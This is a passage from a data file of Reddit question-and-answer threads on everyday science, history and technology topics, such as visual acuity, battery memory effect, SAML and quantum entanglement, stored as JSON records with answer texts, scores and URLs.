DMV only tests to a max of 20/20 in the machine.  It doesn't check to see if you can see better than that.  Second of all, I would assume you were corrected to the \"best visual acuity\" that you could be fixed to.  I am an optometrist and I always fix people to the absolute best.  In some people that is 20/20, in others it is 20/15 or 20/10.  Unfortunately there are also people who only see 20/50 because of many reasons including pathology or amblyopia.  ", "There are a lot of good answers here, but I don't see the main *optical* reason.  A healthy human retina has better resolution than required for \"normal\" vision.  Visual acuity is normally limited by optical distortions in the focusing system of the eye.\n\nThere is an ideal shape to the cornea and lens of your eye.  If the cornea and lens have that shape, then light entering the pupil of your eye from a given direction will be focused onto a particular cell in the retina, regardless of where in the pupil it entered.  (After all, the eye measures brightness of incoming light, versus its *direction*).  Near/far field focus is handled by your lens, which perturbs the system slightly to optimize it for particular directions or for particular mixes of direction and divergence (as for objects that are near).  In a perfectly focused eye, the acuity is limited to 20/10 or so by the Heisenberg Uncertainty Principle of quantum mechanics (also called the \"diffraction limit\") that says you can't know both the location and momentum of anything simultaneously. Your eye measures brightness versus incoming *momentum* (direction) of the light, but it also crudely measures *location* of the incoming light (by making it pass through your pupil), and the smaller the pupil the better the location measurement - which blurs the image via diffraction effects.  Hence, perfect eyes have better acuity in twilight (large pupil) than bright sunlight (small pupil).\n\nDistortions in the lens and cornea mean that light entering the eye from a particular direction can end up in slightly different places on your retina, depending on which part of your pupil it entered.  Those distortions can take very complex shapes.  The most important ones are *spherical* correction and *cylindrical* correction, and those are the ones your optometrist can fix by putting a lens in front of your eye.  But there are many more.  The optometrist can't correct those more complex distortions using glasses, because the symmetry isn't right -- a lens that was right for looking straight ahead would be wrong for looking to the left, for example.  Contact lenses could in principle use higher order correction, but it's hard to align the lens on your eye.  Even cylindrical corrective (\"astigmatism\") contact lenses are relatively new (10-15 years?) and don't work perfectly -- they have little weights to turn them to the correct angle in your eye, but they get out of alignment if you tilt your head.\n\nIf you get LASIK, the doctor can correct far more types of error in the shape of your cornea, and you can get near-diffraction-limited (or even diffraction limited) vision immediately after the surgery.  Even after your eye completely heals (thereby introducing a new set of distortions) it is usually better than 20/20.\n\n\n\n\n", "Please refrain from posting personal anecdotes. This thread was filled with \"my optometrist said...\" or \"I had Lasik and...\" Those comments were, and will be, removed.", "In short, think about it like a camera.  A perfect lens will not increase the amount of pixels on the receptor (a 5 mega pixel camera will have a clearer image than a 1 megapixel).  The glasses causes the light to correctly focus on the part of the retina called the fovea.  Receptor density in this area is the highest, but differ from person to person generally.  Some people have more and have a more precise acuity, but 6/6 or 20/20 is average and most docs don't test to nor document anything better typically.  We stop at \"20/happy\".  \n\nThere's a lot of factors that affect vision: proper focus by the lens system so that the image of the object corresponds to the fovea, the amount of light entering the retina (affected by crystalline lens clarity and pupil size), tear film quality, cornea regularity - the last two can yield higher order aberrations.  Then you have to think about perception...  The eyes are an extension of the brain, so you can have the best image in the world hit the retina, but it has to receive it appropriately, then it has to process it well in the occipital lobe appropriately.  Compound this with the fact that you have 2 eyes that must point at the same object with little disparity.\n\nBasically, 20/20 is average (set by astronomers historically, but that's another story) and unless you are a critical observer (read as 'pain in the butt'), 20/20 is pretty good.  Docs usually don't have time to fine tune to the n-th degree to go much beyond that.", "Optometrists can correct with glasses or contact lenses the lower abberations such as myopia/hyperopia and astigmatism.\n\nA few higher order abberations such as coma, trefoil and spherical abberation can decrease the quality of vision and thus result in decreased visual acuity as well. This is where lasik or PRK with wavefront technology can decrease those abberations. There is debate as to whether the small amounts of these HOAs really cause that much decrease. (Zeiss also makes a spectacle lens that can correct for HOA, but it's bullshit because it only works if you look straight out of the center of the lens, and how often do you do that?)\n\nWe often only correct to 20/20 because if we take you to what seems to be better than 20/20 (say 20/15) we may unintentionally overminus you and make the lenses too strong which then results in headaches and eyestrain. To prevent this we use what's called maximum plus for maximum VA (MPMVA). \n\nIf you get to 20/20 and have healthy cornea,lens, retina and optic nerve, there's no reason not to be 20/15. Most people are just glad to be 20/20.", "Optician here, I remember asking my dad, an Optometrist for 35 years, this question when I first got my glasses a long time ago. \nBetter than 20/20 is possible 'but all the stars have to be aligned'. For example, you need to have a low degree of something called higher-order aberrations (which most glasses do not correct). Also pupil size makes a difference along with the lighting in your surroundings. If you are farsighted, it is sometimes easier to achieve better than 20/20 vision, because the glasses will magnify everything you see.\n\nI can't remember who exactly but he is a well known baseball player who had something like 20/10 vision, uncorrected, and could see the stitches on a baseball thrown at 90+ M.p.h. which is just crazy. I wear glasses and with them on the best I am able to achieve, without corrective laser eye surgery is 20/25 mostly due to the high astigmatism in both eyes. I also suffer from nystagmus which is are oscillations of the eyes which makes it really hard for me to get corrective laser eye surgery.\n\nTL;DR: It's possible for you to go beyond 20/20 vision with corrective lenses but a lot of factors have to come into play to make it work.", "What does \"20/20\" vision mean? If 20/20 is considered \"perfect\" than what does that make \"20/10\"? \n\nI've always felt I had really good vision but i'm not sure if I have 20/10 or 20/20. Wish I could test it.", "hello, i am currently an optometry intern and in my fourth (and final) year of school. \n\nbasically, 20/20 is what we care about. that's the standard. usually when you're young, you should be able to get 20/15 without much of a problem. most people dont need to see 20/15 and you may need an increased prescription that may affect your focusing at near. plus, to fine tune the prescription to 20/15, it takes much more time playing around with the astigmatism factor and oftentimes its not worth it for us to spend the time when you would barely notice the difference\n\n20/8 vision is the best possible vision that is achievable by the human eye (with ideal variables). however, with most people (like mentioned before), corneal shape, lens changes, retinal changes, pupil size, etc can all affect the eyes so that would account for a non-perfect vision. \n\n", "A lot of people here have posted some great responses about the limitations of human vision. However, there may be a much simpler explanation for your situation. The test conducted at the traffic office was probably just a screening test. They require you to meet a minimum standard and they stop the test when you've been shown to meet the standard. It's possible that your vision is better than 20/20, but for the purposes of safely driving a vehicle they don't really care. ", "I'm a former Army Medic that had to do visual acuity checks on soldiers on a regular basis. From my training the 20/20 number is a known distance and a standard the the average person sees.  The first number is the know distance and will normally never change; it stands for the distance to a standard eye chart, 20 feet.\n\nThe second number is the variable. 20/20 is average, at twenty feet most people can read the chart as well as any other average person at 20 feet. A person with 20/10 sees a 20 foot chart as well as the average person would see it at 10 feet. So, that is twice as good as regular sight and rare. On the other end of the spectrum is those with poor sight.  A person with 20/50 sight sees a twenty foot chart with the acuity/clarity an average person would from 50 feet away. For most situations if a person can not be corrected better than 20/200 they are considered legally blind.(varies from state to state and country to country) \n\nThere are a lot of other tests, variables, and anatomical structures to take into account when determining someones over all sight, but I hope this helps clear up what 20/20, 20/10, and 20/50 really mean. ", "It takes a lot of fine tuning to get greater then 20/20 with standard optics, which are not even designed to account for an individual's specific lens characteristics like the uniformity or aberrations when making a prescription.  A non uniform eye requires a position variable prescription lens, which would fail as soon as your eyes moved away from looking straight forward through the corrective lens.\n\nThose with more uniform eye optics have a better chance at attaining 20/10.", "Over correction = eye strain = headaches.\n", "Even with corrective lenses or surgery, vision is limited.This is a basic summary, but I'll outline one of the reasons. Retinal Ganglion Cells (RGCs) are the cells that exit the retina to terminate in the brain. These cells display a receptive field (RF) that causes their activation. When a light (or lack of light) hits the cells in their RF, the cells are activated (or inhibited). The tinier the RF or the more RGCs you have will ultimately limit your ability to discern high frequency images: this essentially translates to ganglion cell spacing. Most humans have ganglion cell spacing that allows accurate detection of up to 80ish cycles per degree. \n\nThus there is a physiological reason why giving someone 'super vision' is not possible.", "Most people giving the test will not test beyond 20/20. If you pass it at that, they'll stop, instead of testing you on the next lowest line. Next time, ask the optometrist to see how far you can go. Its very likely that you've just never been tested at beyond 20/20.", "related to the question, could someone with 20/20 vision be given glasses to obtain better vision?", "It is worth noting that optically near sighted lens - eye combination forms a sort of reverse telescope, making smaller image than the eye would by itself. In extreme form, that is the role of front negative lens in usual camera objective - to widen the field of view and to allow for variable zoom. The degree of negative zoom is dependent to distance between eye and the lens; in DSLR camera you can see that when you set minimal zoom, the distance between internal optics and the big negative lens in front, increases. edit: on the second thought this may be compensated for, in part, by positive curvature of the front of the lens.\n\nsource: studied optics, work in non-realtime photorealistic 3D graphics."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Chuck_yeager"], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Photoreceptor_cell"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "4d84vg", "title": "what causes the \"memory effect\" in ni-cd rechargeable batteries?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4d84vg/eli5_what_causes_the_memory_effect_in_nicd/", "answers": {"a_id": ["d1ojv6z", "d1onq3w"], "score": [2, 2], "text": ["Do [these previous posts](_URL_0_) help?", "Crystals. But it's mostly a myth. Here's the breakdown.\n\nThe [memory effect](_URL_0_) is the supposed effect that causes a Ni-Cd or Ni-MH battery to lose its ability to hold as much charge when it is recharged before being fully discharged.\n\nThe effect might be caused by [crystal growth in the battery](_URL_1_). But [supposedly](_URL_0_) this only actually happens in very specific batteries in high power applications, and is otherwise not a reproducible effect.\n\nSo while it is a real effect, it's not actually a big deal . It's easily avoided and only a problem for very specific applications. There are many effects that look like the memory effect, but actually are completely different."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/explainlikeimfive/search?q=subreddit%3Aexplainlikeimfive+batteries+memory&amp;sort=relevance&amp;t=all"], ["https://en.wikipedia.org/wiki/Memory_effect", "http://batteryuniversity.com/learn/article/memory_myth_or_fact"]]}
{"q_id": "3b6xwo", "title": "Can anyone identify the church on this monks scroll?", "selftext": "_URL_0_\n\nI'm wondering what the church on this monks scroll is because I'm interested in the statue.  The statue is found in the Hungarian parliament building. It's possible that it doesn't or never existed. \n\nIs there a different subreddit where anyone could recommend I post this? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3b6xwo/can_anyone_identify_the_church_on_this_monks/", "answers": {"a_id": ["csjgtg0"], "score": [4], "text": ["Possibly the Church of Our Lady, more commonly known as St. Matthias Church, in Budapest.\n\nThis church became a mosque after 1541, when the Turks captured Buda.  When Budapest was liberated from the Turks in 1686, the church came under the control of the Jesuits, who made attempts to restore it (it had been badly damaged in the bombardment which re-took the city).\n\nThe church had a legendary role in the reconquest of Budapest, as, during the Christian bombardment of the city, a wall of the church collapsed, supposedly revealing a sculpture of the Madonna to the Turks who were praying inside the Mosque.  This revelation was said to have demoralized them and contributed to the surrender the following day.\n\nThis is pure speculation, but a statue of a monk carrying plans for a church in Budapest, might be commemorating the Jesuit plans to rebuild this church after recapturing the city from the Turks?\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": ["http://imgur.com/DBLvmYy"], "answers_urls": [["http://www.aviewoncities.com/budapest/matthiaschurch.htm"]]}
{"q_id": "r530j", "title": "What technological advancements would be necessary for humanity to travel into deep space?", "selftext": "Hard mode:\nIf immortality is indeed attainable, is it also necessary to explore space?\nMight I live to see such achievements within my lifetime? (young adult)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/r530j/what_technological_advancements_would_be/", "answers": {"a_id": ["c42yfuw", "c42yllf", "c42yuet", "c42zqw9"], "score": [3, 4, 17, 3], "text": ["Advancements in energy generation. Internal combustion ain't gonna cut it. Well Ray Kurzweil says technology advances at an exponential rate so it's possible you'll see it if we don't press the reset button on humanity and nuke ourselves first. ;)", "Now I'm not close to an expert, but you'll probably find this video from Cosmos that pops up in some TIL on the front page from time to time interesting:\n\n_URL_0_\n\nAbout technology: we don't know where it's going to go. We are currently experiencing the most rapid growth in technology in a century compared to the rest of our millions of years of existence. Technology as we know it hardly existed at the beginning of the lives of our oldest citizens. Yesterday there was an AMA from a soon to be centenarian where she named \"medical advancements\" (ie penicillin being discovered) the biggest advancement in her life.\n\n_URL_1_\n\nThere are substantial problems to overcome though, just off the top of my not-expert head I would say energy (and propulsion) in a safe manner and the effects of microgravity on the human body are the largest problems. ", "advanced radiation and micrometeorite shielding, high specific impulse AND thrust propulsion systems, food growth and/or synthesis in space, medical procedures to face unexpected health issues, possibly criostasis, possibly robots to perform extravehicular work and repairs, possibly methods to harvest resources. Also, building the ship would require much more cost-effective methods of bringing materials, components and crew into space, so I'd look into a space elevator.\n\nExploring space is absolutely necessary. Our development as a species is completely incompatible with long-term confinement to Earth alone, which will eventually be unable to sustain our demand for and food and resources (helium is running out fast). \n\nThere is also a reasonable number of ways our planet will eventually find itself unable to sustain most forms of life. No, we will most likely not see anything of that in our lifetimes. We have good chances of seeing a moon base and the first humans walk on mars, maaaaaybe on a moon of Jupiter. But that heavily depends on the political and economical situation. If we really wanted, we could put people on mars in 15 years, but nobody sees the worth of that investment at the moment.", "We would need a reliable and long-lasting power source.  Almost any other problem can be mitigated if we have enough power."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.youtube.com/watch?v=IqDZQCCaXqI", "http://www.reddit.com/r/IAmA/comments/r48z5/i_will_turn_100_years_old_in_two_days_3212012_amaa/c42rucm"], [], []]}
{"q_id": "dmwmrp", "title": "what is saml and how does it work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dmwmrp/eli5_what_is_saml_and_how_does_it_work/", "answers": {"a_id": ["f5680op"], "score": [4], "text": ["SAML is used to provide federated authentication, essentially a digital passport.  If I want to provide a service lots of different people can use, I need to be able to know who they are, especially if I am storing things for them.  The traditional way to solve this is creating an account for each user with a username and password.  This can be a pain to manage, is annoying for users to have a million different accounts, and can be a security hole.  It can also be difficult to work into low-level services that operate below the user level.\n\nSAML is a way to offload the identity management to someone else.  You are essentially saying, \"Hey, Facebook, hey Google, I got this user who says you know them, here is the username and password they gave me.\"  That organization is acting as an identity provider, validates the person does have an account with them and issue a token in response that acts like a visa.  For subsequent requests, you just show that token and are let right in."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1qqhl0", "title": "When you hear a choir, are you hearing the average of all the singer's voices?", "selftext": "I don't know if my question makes sense. I guess I was thinking about it in terms of how it seems that if a large enough group is singing together, anything discordant isn't really audible. Actually, I don't even know if that's true. Is it? Please help? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1qqhl0/when_you_hear_a_choir_are_you_hearing_the_average/", "answers": {"a_id": ["cdffbwj"], "score": [19], "text": ["You're hearing the sum of all the voices in the chorus, so like the average but multiplied by the number of singers.  This is because the amplitude of sound waves simply add in air, which is an example of a superposition principle.  So if one person out of twenty is off-key they'll only be 1/20 of the sound, and their mistake will get glossed over to some extent.\n\nThat being said, if everyone was a spot on copy of one singer, they would produce a louder version of that one singer.  The distinct sound of a chorus is actually caused by the fact that not everyone can sing exactly the same, they are a little out of time and a little out of tune and have slightly different timbres to their voices.  Electronic effects try to emulate this by adding a copy of a sound that has been phase or pitch shifted to itself.  It works surprisingly well, but it's hard to fake the complexity of the real thing. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "dwtb5k", "title": "When and why did owning many books change from something only the wealthy could afford to the current situation - with even relatively poor people in developed countries being able to own many books (perhaps second-hand)?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/dwtb5k/when_and_why_did_owning_many_books_change_from/", "answers": {"a_id": ["f7lgrce"], "score": [21], "text": ["The  basic answer is \"with the invention and diffusion of the printing press across the 16th century\" Jeremiah Dittmar has written some papers on the welfare impact of this change, and references some earlier literature with data on price and diffusion. (There's a working paper version of one paper [here](_URL_0_) )The real price of books fell by about 90% over the 16th century, with the vast majority of the drop concentrated in the period before 1530. Uptake is harder to measure, and a slower process, but Dittmar cites Peter Clark (1979) who finds that the share of households owning books, from probate record in Kent, rises from about 15% in 1550, to about 50% in 1640. The same kind of pattern holds for most of Northern Europe (Germany, the Netherlands, France, etc...) and is slower the further away you get."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://pdfs.semanticscholar.org/939b/b19e943dfc478359f74b5c7bc87c2034230a.pdf?_ga=2.210830805.1749783446.1573839346-1865803151.1573839346"]]}
{"q_id": "4zftup", "title": "Will the power output of an induction motor be independent of speed?", "selftext": "I'm studying mechanical engineering. I've always been a tinkerer and have a profound love for cars, among many other things with moving parts.\n\nLast year (when I was a freshman) when we were taking an introductory engineering course, we went over electric motors. One of the formulas that they gave us was: 1 horsepower = 550 lb-ft of torque.\nWhere the equation I've always known is: horsepower = (shaft speed * TQ @ that shaft speed) / 5252\n\nI didn't want to start any confusion, and the math was easy enough. I'm wondering why they gave us that equation though; the formula for mechanical horsepower (or torque) isn't any more difficult- it requires the same skill level when it comes to algebra. The units don't match up though; horsepower is a measurement of power (work per time) whereas torque is a measurement of torsional force. There is no proper 'speed' or 'time' component with the equation that I was given.\n\nI feel like they gave us that 'equation' just to make things simpler, but is it correct? Does it apply only to induction motors? How would it differ with a DC motor or a brushless?\n", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4zftup/will_the_power_output_of_an_induction_motor_be/", "answers": {"a_id": ["d6vpas8"], "score": [2], "text": ["You sure you aren't missing a second on there? What you have is wrong, but with a s^-1 it would be a valid conversion. Or are you sure this wasn't only for a specific case? \n\n\nWhat you have is not valid for an induction nor any other electric machine. The case of it not moving yet still outputing mechncial power being an obvious fault. All of them obey P = \u03c4 \u2022 \u03c9 though, your second equation in less ugly form. \n\n\nA VFD driven induction or DC motor in the flux weakening region has a constant power output, if I recall correctly, so the answer to your title question is \"at times\". In that case, yes the power is independent of the speed but only because your torque changes proportionally. The equation still doesn't make sense. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2zayg4", "title": "When I cook bacon, what's the difference between the bacon grease and the fat that remains solid?", "selftext": "And is one \"healthier\" than the other?\n\n** EDIT ** For clarification, when I say \"fat that remains solid\" I'm referring to the white strips of what I assume is fat like those visible here: _URL_0_ \n\n/u/Jon-Walker suggests those are fat cells, with un-rendered fat inside.  In that case, what (if anything) is different about that fat that kept it from rendering?\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2zayg4/when_i_cook_bacon_whats_the_difference_between/", "answers": {"a_id": ["cphgqy9", "cpi568m", "cpib1jr"], "score": [11, 4, 2], "text": ["Fats are a type of lipid (which include oils and such) which are made from a glycerol head and a fatty acid tail. The [fatty acid tail](_URL_0_) is mostly a chain of carbons attached to hydrogens. The structure of the fatty acids is divided into two classifications: saturated fats, and unsaturated fats.\n\nSaturated fats have the carbon chain filled with hydrogens (each carbon is bonded to two other carbons and two hydrogens), so they form a straight line, and the molecules of the saturated fat can pack together well. Saturated fats tend to stay solid at high temperatures relative to unsaturated fats.\n\nUnsaturated fats do not have each carbon filled with two hydrogens. Instead, the carbon will form a double bond with a neighboring carbon bond and bond with only one hydrogen, so there will be a kink in the fatty acid, making it angular (this is because the carbon's VSEPR structure would be trigonal planar). As a result, molecules of unsaturated fats do not pack together as well and stay liquid at higher temperatures relative to saturated fats.\n\nLipids do not dissolve in water (since they are nonpolar), so saturated fats can potentially clog arteries and blood vessels (more so than unsaturated fats, because they tend to be solid at higher temperatures).\n\nEDIT: The health benefits are a bit more nuanced.  There are also other reasons saturated fats are not healthy, compared to unsaturated fats. However, hydrogenating unsaturated fats may produce unsaturated fats with *trans* double bonds (transfat), which may contribute more to other health problems related to high fat consumption.", "The strips of \"fat\" you see in bacon is not just fat molecules, it is millions of fat cells. Fat cells store a lot of fat inside them but are also made of cell membranes, proteins, nucleus, etc... The layer of fat cells also have a system connections giving the matrix of cells a  basic shape. Notice how you can model wax (pure fat) but you can't mold a piece of fat from an animal.\n\nThe grease in the pan is mostly just the lipid molecules that escaped the fat cells (rendered). The cooked strips of \"fat\" still in the bacon consists of all these other compound of the fat cells and some of the lipid molecules that are still trapped inside the basic matrix giving the fat shape. After enough cooking time you can basically break down all of these other compounds which will let all the fat escape.", "By \"fat that remains solid\", are you referring to the fatty parts of the bacon itself?  That's adipose tissue that's stuck to the bacon meat, whereas the grease is the animal fats that have been cooked out of the bacon -- It just happens that the pan is currently hot enough to keep the fat liquid."]}, "title_urls": [], "selftext_urls": ["http://vignette2.wikia.nocookie.net/bacon/images/1/1e/Cooked_Bacon.jpg/revision/latest?cb=20110621163421"], "answers_urls": [["http://study.com/cimages/multimages/16/saturated_and_unsaturated_fatty_acids.gif"], [], []]}
{"q_id": "7z64q2", "title": "how to do internet/social media marketing", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7z64q2/eli5how_to_do_internetsocial_media_marketing/", "answers": {"a_id": ["dulknyg", "dull2tx"], "score": [3, 2], "text": ["I would say start by reading what other companies you love have done - one of my favorite companies is Intercom - they have a book called \u201clessons learned\u201d which talks a lot about reaching customers and connecting with them. - they also have a book specifically on marketing. Also, they are incredible at reaching people trough inbound marketing and turning them into customers. Instead of a \u201clearn today\u201d approach, read, watch, practice, and refine several ideas and practices over time. There are a lot of  ways to reach people - the biggest drop off is pulling people in once they\u2019re in front of you - building a connection to your brand and building a community. \n\nI\u2019ve built communities in health tech and now at _URL_0_ - we\u2019re giving people free tokens for engaging the crypto projects they like. We\u2019re also giving away 100m par tokens in airdrops to people who sign up for the beta app release and hop on our telegram.\n\nCheck it out - happy to talk further about lessons learned along the way \n", "Hi there! I work for a company that operates in the PR sphere and I personally do analysis on social media performance and evaluation (e.g. research). I'm sorry to say that if you want highly successful results, you're going to have to employ some of those \"recommended software\" adverts you've been receiving.\n\nWith that being said, the basics are to understand who your product's product's product is and then tailor your messaging to that within the relevant sphere of influencers (sites, personalities, etc.). Buying ad space no longer works well (did it ever?) - instead you have to resonate with your target audience on broader topics.\n\nSome of the best in class examples can be found in the fast food industry (Taco Bell) or sports marketing (NFL/NBA)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["Parachutetoken.com"], []]}
{"q_id": "1gl753", "title": "what is the difference between file and block storage?", "selftext": "Speaking about SAN vs. NAS technologies here", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1gl753/eli5_what_is_the_difference_between_file_and/", "answers": {"a_id": ["cal9s2b", "caluzvx"], "score": [2, 2], "text": ["Basically, file storage is a convenient abstraction built on top of block storage. Block storage provides the ability to remember units of data referred to as blocks, indexed by some kind of numerical address. File storage allows you to remember a more logical unit called a file, which has a human-readable name, notions of ownership and access control and so on. It also knows what adresses in the underlying block store contain the data in the file so that the file can be used or edited.", "Block storage (SAN) is remotely accessed by a block orientated protocol, like iSCSI (SCSI over Ethernet) or Fiber Channel Protocol (SCSI over Fiber Channel). It is essentially functioning the same as an internal harddisk, which is accessed directly by SCSI or ATA, except remotely.  Like an internal harddisk, the SAN has no knowledge of the type or structure of data on its storage. As a result the communication protocols used are relatively simple. They usually consist of a bunch of commands to \"write data x at location y\" or \"read location y\", where y is simply the number of the block you want to access.\n\nFile storage (NAS) has intimate knowledge of the structure of the data on its storage. It interprets the data to expose individual files and their associated metadata, like owner, time of creation and user rights. This results in the use of complex protocols like NFS (Network Filesystem) or CIFS (Windows File Shares). The advantage is that it is easier to share the same storage between multiple users."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "dfkna7", "title": "how did a block of tv sets in the 80s pieced together form only one moving image?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dfkna7/eli5_how_did_a_block_of_tv_sets_in_the_80s_pieced/", "answers": {"a_id": ["f33rleq"], "score": [28], "text": ["Using a splitter. The incoming signal would be fed to a box that would handle how to divide the signal then give each tv it's portion of the whole image. The splitters were bulky from what I remember and caused a slight lag."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1ae0lg", "title": "If only one half of a pair of quantum-entangled particles were subjected to time dilation through relativistic speeds, how would the \"speed\" of the spooky effect be impacted?", "selftext": "Title pretty much captures the question.  \n  \nEDIT:  So, imagine the \"older\" particle, which remains on Earth, is subjected to a change after it has experienced a certain amount of time.  Does the \"younger\" particle wait until it catches up in age to exhibit that change?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ae0lg/if_only_one_half_of_a_pair_of_quantumentangled/", "answers": {"a_id": ["c8wld12", "c8wnonj", "c8wqqla"], "score": [4, 2, 10], "text": [" > So, imagine the \"older\" particle, which remains on Earth, is subjected to a change after it has experienced a certain amount of time. Does the \"younger\" particle wait until it catches up in age to exhibit that change?\n\nI don't know who keeps spreading this idea, because it's just not true. Entangled particles do not respond to changes in their partner.", " > So, imagine the \"older\" particle, which remains on Earth, is subjected to a change after it has experienced a certain amount of time. Does the \"younger\" particle wait until it catches up in age to exhibit that change?\n\nNo, it does not matter when the measurement happens. In fact, it's quite easy to find a reference frame in which a certain measurement happened first, and another where the other happened first. ", "I feel you have a misunderstanding of what quantum entanglement entails- which this isn't your fault since pop-sci writers screw it up all the time.\n\nFirst let me say \"Quantum Entanglement is not magic.\" It is cool, but maybe not as cool as people think. Second, \"Quantum Entanglement is essentially conservation laws on the atomic scale.\" And finally, \"Entanglement can be, and frequently is, broken.\" Entanglement will break after interaction with other atoms.\n\nSo, more in-depth. Let's start with an easy example: conservation of momentum. Let's say you and I are in equal sized cars, going the same speed and have a head on collision. Both cars will come to rest. How do we know? Well- we could work out all the forces acting, but there is an easier way, by using conservation of momentum. We know that the momentum is zero before the collision (because they are equal in magnitude, but opposite in direction) so the momentum must be zero after the collision. Since they can't pass through each other- the only way to be at zero is if they come to rest.\n\nNow, we imagine a particle with no angular momentum. It decays into two particles, each of which have angular momentum. We know that if this happens, the particles must have equal in magnitude, but opposite in direction, angular momentum. Why? Angular momentum must be conserved. This is quantum entanglement. How is it different from normal conservation laws? Because until a measurement happens, neither particle has a defined angular momentum. But after one particle is measured and its angular momentum is measured, then we know the other particle will cease to have an undefined angular momentum, and suddenly have an angular momentum which is equal in magnitude and opposite in direction of the other one we measured.\n\nNow onto \"quantum entanglement isn't magic\" and \"quantum entanglement can be broken.\" Entangled particles don't stay entangled. And here is what I mean by that. Going back to our old example, with their opposite and equal angular momentums. If I suddenly increase the angular momentum of the first particle, the momentum of the second particle doesn't magically increase. The entanglement is broken, and the second particle will just keep on keepin' on like nothing had happened. Particles entangle and un-entangle (dis-entangle?) all the time.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "28uxec", "title": "why is it that when i sing a song, occasionally, my eyes tear? even if it is not an emotional song?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/28uxec/eli5_why_is_it_that_when_i_sing_a_song/", "answers": {"a_id": ["cieqla4", "ciequiw"], "score": [4, 2], "text": ["While singing, you block your throat. Sinus fluid that would normally run down your throat comes out your eyes. This is probably not the answer.", "Are you occasionally a **really bad** singer? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "rarsj", "title": "What is the smoothest surface known to man?", "selftext": "I was just thinking about the monolith in 2001 and how it is described as perfectly smooth. What is the smoothest surface we know of? I assume that a liquid with a low surface tension takes the cake, but are there extremely smooth solids as well?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/rarsj/what_is_the_smoothest_surface_known_to_man/", "answers": {"a_id": ["c44asym", "c44b8q3", "c44d2lt", "c44dk55", "c44e1gk"], "score": [26, 24, 2, 32, 2], "text": ["A quantum stabilized atom mirror\n\n_URL_0_", "The [Gravity Probe B](_URL_0_) experiment contains gyroscopes that deviate from being perfect spheres by only 40 atoms.  [Source](_URL_1_)", "I can't confirm, but maybe the surface of a neutron star?\n\nedit: can an astrophysicist confirm?", "For matter existing in real-life conditions, atomically flat regions (surfaces which are so flat that not even a single atom protrudes) on the surfaces of many different solids have been well-documented by scanning tunneling microscopy. Also, single-crystalline sheets of graphene or hexagonal boron nitride will generally be atomically smooth, though they may have ripples or bubbles over longer length scales. \n\nWhat makes your question hard to answer has to do with the lateral length scales relative to the vertical length scale. Do you want something that is ultra-flat at the atomic scale? Or do you want something that has the best ratio of surface height variation to lateral size? \n\nEdit: without searching for other possibilities, I did some rough surface variation to surface area ratios from candidates listed in the comments here, using supplied links. This would just be approximately using max-min variation, though I think the best measure would be to have a histogram of height values throughout the surface and calculate an rms roughness. \n\n* Si sphere from Avogadro project: 4.7E-15 m^-1\n* Gravity Probe B gyro: same as Avogadro project\n* Hubble Telescope mirror: 5.6E-9 m^-1\n* [Quantum stabilized atom mirror](_URL_0_):  >  5E-9 m^-1  -- lower bound since largest Si wafer is ~ 300 mm in diameter. Authors claim silicon surface steps (intrinsic to wafer's cut) are completely smoothed over.\n\nAnd finally I note that the quantum stabilized atom mirror has atomic surface variations less than 100nm away from each other (see images in the link). The spheres' values are calculated from the numbers given by the groups' websites which are only relevant length scales comparable to the radius of the sphere -- if you looked at an atomic scale (ignoring surface oxidation), you would likely see crystallographic steps depending on what face of the crystal is relevant. I didn't do further digging to see how locally they investigated the surface for any atom-scale pockmarks, etc. ", "The mirror in the Hubble space telescope was [manufactured to a tolerance of a millionth of an inch over a 94.5 inch diameter](_URL_0_)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.sciencedaily.com/releases/2008/09/080922141139.htm"], ["http://en.wikipedia.org/wiki/Gravity_Probe_B", "http://science.nasa.gov/science-news/science-at-nasa/2004/26apr_gpbtech/"], [], ["http://www.nanociencia.imdea.org/portals/22/downloads/publications/a-quantum-stabilized-mirror-for-atoms.pdf"], ["http://hubblesite.org/hubble_discoveries/10th/vault/allabout.shtml"]]}
